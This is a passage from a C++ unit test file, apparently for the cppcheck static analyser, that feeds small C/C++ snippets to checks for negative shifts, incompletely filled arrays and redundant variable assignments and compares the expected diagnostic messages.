Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" 